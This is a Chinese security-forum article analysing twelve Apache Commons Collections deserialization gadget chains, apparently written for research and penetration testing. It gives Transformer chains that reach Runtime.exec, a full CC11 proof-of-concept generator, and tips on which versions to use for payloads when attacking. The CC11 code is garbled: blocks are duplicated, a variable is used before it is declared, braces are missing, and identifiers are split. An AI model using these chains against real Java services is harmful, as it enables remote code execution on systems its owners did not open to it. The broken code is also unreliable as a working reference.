Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。
一、Common-collections简介
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。
二、Common-Collections 12个链分析
1.commons-collections1
入口及关键点AnnotationInvocationHandler的readO bject以及Lazymap的get方法
https://paper.seebug.org/1242/#commonscollections-1
首先看后半段链,关键的一个接口commons collections中有一个Transformer接口,用来类型转换
package org.apache.commons.collections;
public interface Transformer {
O bject transform(O bject var1);
}
后半段链中三个关键类继承了这个接口
- org.apache.commons.collections.functors.InvokerTransformer
- org.apache.commons.collections.functors.ConstantTransformer
- org.apache.commons.collections.functors.ChainedTransformer
后半段链构造如下
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new O bject[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
O bject.class, O bject[].class }, new O bject[] {
null, new O bject[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new O bject[]{"open /System/Applications/Calculator.app"})});
最外层是一个ChainedTransformer,参数时一个Transformer数组,其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去,我们传入的Transformer[],也就是下面的this.iTransformers,会遍历这个数组,调用各自的transformer方法
接下来看数组的第一个元素ContstanTransformer,其transform方法将输入原封不动的返回,知道这个后回到cc后半段链的构造代码里,这里的this.iConstant 也就是Runtime.class将会返回,当作InvokerTransformer的transformer方法的执行参数
最后看InvokeTransformer的transformer方法
接收了一个O bject,并且以调用O bject的任意方法(通过反射实现)。
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new O bject[]{"calc"});
invoketransformer.transform(runtime);
因为前面的ChainTranformer以及ConstantTransformer已经将rutime对象构造好了,整条链就串起来了。
接下来我们看前半段链
目前已经构造到只需要反序列化后调用transform方法,并传递任意内容即可rce。我们的目的是在调用readO bject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readO bject后就调用那是最好的),如果找不到在readO bject里调用transform方法,那么就需要找到一条链,在readO bject触发起点,接着一步步调用到了transform方法。
CC1的前半段是用的LazyMap#get 方法,
这里的this.factory可控,在new LazyMap时传入参数即可,通过反射调用此构造函数即可
下面就是看那里调用了get方法,CC1是AnnotationInvocationHandler的readO bject
这里this.memberValues是我们可控的
如果这里的this.memberValues是个代理类,那么就会调用this.memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。
所以在AnnotationInvocationHandler readO bject时this.memberValues是之前构造好的proxy_map,由于这是一个代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法,
invoke方法会触发get方法,反序列化链串起来了
2.commons-collections2
关键入口点为PriorityQueue#readO bject
queue[i]的值我们可以通过writeO bject可控
然后我们的关注点来到heapify()
再跟进siftDown x可控
然后是siftDownUsingComparator
这里的x是我们可控的,cc2中使用了TransformingComparator#compare来触发后续链
前半段结束
3.commons-collections3
https://paper.seebug.org/1242/#commons-collections-3
先直接看下调用链
可以看到前面和CC1是一样的InstantiateTransformer.transform()是陌生的,进去看一下
CC3 将input设置为TrAXFilter,调用getConstructor时就会调用TrAXFilter的构造方法
跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
newTransformer中调用了getTransletInstance方法
可以通过TemplatesImpl#newTransformer方法来执行恶意类的static语句块
4.commons-collections4
cc3前半段用的是cc1的,在cc4里稍微改了一下,前半段换成cc2的了
5.commons-collections5
cc5的后半段和cc1一样,后半段用到的是TiedMapEntry中的toString方法
进入getvalue
bingo!跟LazyMap串起来了
6.commons-collections6
cc6的后半段链也和cc1是一样的,cc6中则是通过TiedMapEntry#hashCode触发对TiedMapEntry#getValue的调用
7.commons-collections7
cc7的后半段链也和cc1是一样的,cc7通过AbstractMap#equals来触发对LazyMap#get方法的调用
8.commons-collections8
看下调用链
使用的是HashSet,这里的e我们是可以通过writeO bject可控的
跟进put,key可控,跟进hash方法
这里的k cc8提前设定好为TiedMapEntry跟进其hashCode()方法
然后就是cc6的前半段
9.commons-collections9
梅子酒师傅提交的CommonsCollections9,主要利用的是CommonsCollections:3.2版本新增的DefaultedMap来代替LazyMap,因为这两个Map有同样的get函数可以被利用
10.commons-collections10
后半部分与CC6类似,利用链如下
Hashtable.readO bject()
-> Hashtable.reconstitutionPut
-> key.hashCode() => TiedMapEntry.hashCode()
-> TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文构造的Runtime.getRuntime().exec()
11.commons-collections11
前半段CC2 后半段CC6
谢谢@天下大木头的代码,之前cc11没存
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.O bjectInputStream;
import java.io.O bjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class cc11 {
public static void main(String[] args) throws Exception {
// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new O bject[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
O bject node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
O bject[] array = (O bject[])f2.get(hashset_map);
O bject node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
O bjectOutputStream outputStream = new O bjectOutputStream(new FileOutputStream("./cc11"));
outputStream.writeO bject(hashset);
outputStream.close();
O bjectInputStream inputStream = new O bjectInputStream(new FileInputStream("./cc11"));
inputStream.readO bject();
}catch(Exception e){
e.printStackTrace();
12.commons-collections12
清水老板的,与CC6的区别就是引入了js来支持执行更多命令,主要修改了transformer的构造
String[] execArgs = new String[]{cmd};
Transformer[] transformers = new Transformer[]{new ConstantTransformer(S criptEngineManager.class),
new InvokerTransformer("newInstance", new Class[0], new O bject[0]),
new InvokerTransformer("getEngineByName", new Class[]{String.class},
new O bject[]{"J avaS cript"}), new InvokerTransformer("e val",
new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
详情见https://xz.aliyun.com/t/8673
三、汇总
1.一些参考结论
CommonsCollections1 commons-collections:3.1
CommonsCollections1,3,5,6,7,10用的还是commons-collections:3.1
CommonsCollections9 适用于3.2.1
CommonsCollections2,4,8,其利用链基于CommonsCollections:4.0版本
CommonsCollections11 适用于CommonsCollections:3.1-3.2.1 JDK版本:暂无限制
2.自己的一些测试
关于哪个CC链条最通用 弄了个Demo项目,做了不完全测试,
最终结果如下:
CommonsCollections11 适用于CommonsCollections:3.1-3.2.1 JDK版本:暂无限制
最后,据不完全统计推荐打CC的时候,
建议本地使用JDK7 commons-collections4-4.0 分别用CC4、CC3生成两个版本
建议本地使用JDK7 commons-collections3.1 用CC10或者CC11生成payload 3.* 都可以打
3.勿喷
我这里并没有测试全部的CC链,结论可能有问题,以后跟CC的师傅欢迎做个更全面的测试
四、参考链接
https://paper.seebug.org/1242/
https://paper.seebug.org/1251/
https://mp.weixin.qq.com/s/6CdsdPOl4bF2oZLiW3pt9Q
https://www.anquanke.com/post/id/190468#h3-9
http://wjlshare.com/archives/1536
文章首发于赛博少女公众号,已授权转载
- 本文作者: 带头大哥
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/120
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!